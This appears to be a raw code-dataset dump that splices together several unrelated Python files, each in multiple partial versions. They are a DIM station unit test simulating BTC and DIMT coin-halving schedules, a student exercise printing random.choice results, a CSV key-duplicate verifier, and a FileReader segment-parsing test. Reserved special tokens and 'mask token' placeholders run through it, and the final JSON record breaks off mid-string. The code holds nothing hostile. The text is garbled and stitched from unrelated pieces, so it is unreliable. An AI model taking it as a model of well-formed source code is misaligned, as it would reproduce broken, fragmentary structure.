<|reserved_special_token_0|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) <|reserved_special_token_0|> def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> <|reserved_special_token_0|> import unittest from dimp import ID, NetworkID class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while spent + package <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while spent + package <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % ( year, day, package, spent, total_money - spent)) if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> #! /usr/bin/env python3 # -*- coding: utf-8 -*- """ DIM Station Test ~~~~~~~~~~~~~~~~ Unit test for DIM Station """ import unittest from dimp import ID, NetworkID class StationTestCase(unittest.TestCase): def test_identifier(self): print('\n---------------- %s' % self) str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G' id1 = ID(str1) self.assertEqual(id1.address.network, NetworkID.Station) arr1 = [str1] self.assertTrue(id1 in arr1) def test_btc(self): total_money = 2100 * 10000 package = 50 print('total BTC: %d, first package: %d' % (total_money, package)) spent = 0 order = 0 day = 0 year = 0 while (spent + package) <= total_money: spent += package order += 1 if order % (6 * 24) == 0: day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 4 == 0: package /= 2.0 print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent))) def test_dimt(self): total_money = 15 * 10000 * 10000 package = 2 ** 20 print('total money: %d, first package: %d' % (total_money, package)) spent = 0 day = 0 year = 0 while (spent + package) <= total_money and package >= 1: spent += package day += 1 if day % 365 == 0: year += 1 print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent)) if year % 2 == 0: package /= 2.0 print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent))) if __name__ == '__main__': unittest.main()

flexible

{ "blob_id": "533d0b883a0bbbb148f04826e4c0a2bcc31732e9", "index": 6702, "step-1": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n <mask token>\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "<mask token>\nimport unittest\nfrom dimp import ID, NetworkID\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while spent + package <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year,\n day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while spent + package <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day,\n package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (\n year, day, package, spent, total_money - spent))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n DIM Station Test\n ~~~~~~~~~~~~~~~~\n\n Unit test for DIM Station\n\"\"\"\n\nimport unittest\n\nfrom dimp import ID, NetworkID\n\n\nclass StationTestCase(unittest.TestCase):\n\n def test_identifier(self):\n print('\\n---------------- %s' % self)\n str1 = 'gsp-s001@x77uVYBT1G48CLzW9iwe2dr5jhUNEM772G'\n id1 = ID(str1)\n self.assertEqual(id1.address.network, NetworkID.Station)\n arr1 = [str1]\n self.assertTrue(id1 in arr1)\n\n def test_btc(self):\n total_money = 2100 * 10000\n package = 50\n print('total BTC: %d, first package: %d' % (total_money, package))\n spent = 0\n order = 0\n day = 0\n year = 0\n while (spent + package) <= total_money:\n spent += package\n order += 1\n if order % (6 * 24) == 0:\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent))\n if year % 4 == 0:\n package /= 2.0\n print('BTC OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent)))\n\n def test_dimt(self):\n total_money = 15 * 10000 * 10000\n package = 2 ** 20\n print('total money: %d, first package: %d' % (total_money, package))\n spent = 0\n day = 0\n year = 0\n while (spent + package) <= total_money and package >= 1:\n spent += package\n day += 1\n if day % 365 == 0:\n year += 1\n print('year %d, day %d: package=%f, spent=%f' % (year, day, package, spent))\n if year % 2 == 0:\n package /= 2.0\n print('DIMT OVER! year=%d, day=%d, pack=%f, spent=%f, left=%f' % (year, day, package, spent, (total_money - spent)))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 3, 4, 5, 6, 7 ] }

[ 3, 4, 5, 6, 7 ]

print("Praktikum Programa Komputer ") print("Exercise 7.21") print("") print("===========================") print("Nama : Ivanindra Rizky P") print("NIM : I0320054") print("") print("===========================") print("") import random a = [23, 45, 98, 36] print('a = ', a) print('random 1') print('choice = ', random.choice(a)) print('random 2') print('choice = ', random.choice(a)) print('random 3') print('choice = ', random.choice(a))

normal

{ "blob_id": "6b731e329eec3947a17ef8ee8280f2ddf980c81c", "index": 7154, "step-1": "<mask token>\n", "step-2": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\n<mask token>\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-3": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\n<mask token>\na = [23, 45, 98, 36]\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-4": "print('Praktikum Programa Komputer ')\nprint('Exercise 7.21')\nprint('')\nprint('===========================')\nprint('Nama : Ivanindra Rizky P')\nprint('NIM : I0320054')\nprint('')\nprint('===========================')\nprint('')\nimport random\na = [23, 45, 98, 36]\nprint('a = ', a)\nprint('random 1')\nprint('choice = ', random.choice(a))\nprint('random 2')\nprint('choice = ', random.choice(a))\nprint('random 3')\nprint('choice = ', random.choice(a))\n", "step-5": "print(\"Praktikum Programa Komputer \")\r\nprint(\"Exercise 7.21\")\r\nprint(\"\")\r\nprint(\"===========================\")\r\nprint(\"Nama : Ivanindra Rizky P\")\r\nprint(\"NIM : I0320054\")\r\nprint(\"\")\r\nprint(\"===========================\")\r\nprint(\"\")\r\nimport random\r\na = [23, 45, 98, 36]\r\nprint('a = ', a)\r\nprint('random 1')\r\nprint('choice = ', random.choice(a))\r\nprint('random 2')\r\nprint('choice = ', random.choice(a))\r\nprint('random 3')\r\nprint('choice = ', random.choice(a))", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

<|reserved_special_token_0|> class ColumnKeyVerifier: <|reserved_special_token_0|> <|reserved_special_token_0|> def epilogue(self): pass <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ColumnKeyVerifier: def __init__(self): self.keys = {} <|reserved_special_token_0|> def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <|reserved_special_token_1|> <|reserved_special_token_0|> class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <|reserved_special_token_1|> import sys from .csvtable import * from .utils import * from .reporter import Reporter class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True <|reserved_special_token_1|> import sys from .csvtable import * from .utils import * from .reporter import Reporter class ColumnKeyVerifier: def __init__(self): self.keys = {} def prologue(self, table_name, header): if 0 == len(header): return False # 키는 첫번째 컬럼에만 설정 가능하다. return header[0].is_key() def epilogue(self): pass def visit(self, header, columns): key = int(columns[0]) if key in self.keys: Reporter.error(f'중복된 키({key})가 존재합니다.') self.keys[key] = True return True

flexible

{ "blob_id": "eca4abf706fd094a40fdfc8ea483d71b0a018ce9", "index": 4378, "step-1": "<mask token>\n\n\nclass ColumnKeyVerifier:\n <mask token>\n <mask token>\n\n def epilogue(self):\n pass\n <mask token>\n", "step-2": "<mask token>\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n <mask token>\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-3": "<mask token>\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-4": "import sys\nfrom .csvtable import *\nfrom .utils import *\nfrom .reporter import Reporter\n\n\nclass ColumnKeyVerifier:\n\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n self.keys[key] = True\n return True\n", "step-5": "\nimport sys\nfrom .csvtable import *\nfrom .utils import *\nfrom .reporter import Reporter\n\nclass ColumnKeyVerifier:\n def __init__(self):\n self.keys = {}\n\n def prologue(self, table_name, header):\n if 0 == len(header):\n return False\n\n # 키는 첫번째 컬럼에만 설정 가능하다.\n return header[0].is_key()\n\n def epilogue(self):\n pass\n\n def visit(self, header, columns):\n key = int(columns[0])\n if key in self.keys:\n Reporter.error(f'중복된 키({key})가 존재합니다.')\n\n self.keys[key] = True\n\n return True\n", "step-ids": [ 2, 4, 5, 6, 7 ] }

[ 2, 4, 5, 6, 7 ]

<|reserved_special_token_0|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s*\\*\\s*START\\s*(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s*\\*\\s*START\\s*(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s*\\*\\s*START\\s*(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> import unittest from pyama.filereader import FileReader, Segment class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader('sample_reader_test.txt', regexes=[( 'name="(\\w+)"', 'END SEGMENT'), ('\\s*\\*\\s*START\\s*(\\w+)', 'END SEGMENT'), ('PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)', None)]) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment('name', 'file name') line = ( ' SNIPPET START A=B B=13 K=\'ha mi\' ZIG="ZA G" WITH hami -> "mami" ' ) FileReader('whatnot', ['onces']).analyze_parameters(line, segment) self.assertEqual(segment.parameters['A'], 'B') self.assertEqual(segment.parameters['B'], '13') self.assertEqual(segment.parameters['K'], 'ha mi') self.assertEqual(segment.parameters['ZIG'], 'ZA G') if __name__ == '__main__': unittest.main() <|reserved_special_token_1|> #! /usr/bin/python # -*- coding: utf8 -*- # vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 import unittest from pyama.filereader import FileReader,Segment class TestFileReader(unittest.TestCase): def test_reads_file(self): reader = FileReader( "sample_reader_test.txt", regexes=[(r'name="(\w+)"', 'END SEGMENT'), (r'\s*\*\s*START\s*(\w+)', 'END SEGMENT'), (r"PYTHON\s+SEGMENT\s+(\w[\w\d_]*)", None)] ) file = reader.read() self.assertEqual(7, len(file.segments)) self.assertEqual('0', file.segments[0].name) self.assertEqual(2, len(file.segments[0].text)) self.assertEqual('segmentOne', file.segments[1].name) self.assertEqual(3, len(file.segments[1].text)) self.assertEqual('1', file.segments[2].name) self.assertEqual(1, len(file.segments[2].text)) self.assertEqual('anotherSegment', file.segments[3].name) self.assertEqual(6, len(file.segments[3].text)) self.assertEqual('2', file.segments[4].name) self.assertEqual(2, len(file.segments[4].text)) self.assertEqual('python_segment', file.segments[5].name) self.assertEqual(4, len(file.segments[5].text)) self.assertEqual('python_segment', file.segments[6].name) self.assertEqual(3, len(file.segments[6].text)) def test_analyses_parameters(self): segment = Segment("name","file name") line = """ SNIPPET START A=B B=13 K='ha mi' ZIG="ZA G" WITH hami -> "mami" """ FileReader("whatnot",["onces"]).analyze_parameters(line,segment) self.assertEqual(segment.parameters["A"],"B") self.assertEqual(segment.parameters["B"],"13") self.assertEqual(segment.parameters["K"],"ha mi") self.assertEqual(segment.parameters["ZIG"],"ZA G") if __name__ == '__main__': unittest.main()

flexible

{ "blob_id": "92dc0bd3cfcddd98f99d8152d0221f047beb4fb0", "index": 9492, "step-1": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s*\\\\*\\\\s*START\\\\s*(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_]*)', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s*\\\\*\\\\s*START\\\\s*(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_]*)', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s*\\\\*\\\\s*START\\\\s*(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_]*)', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', 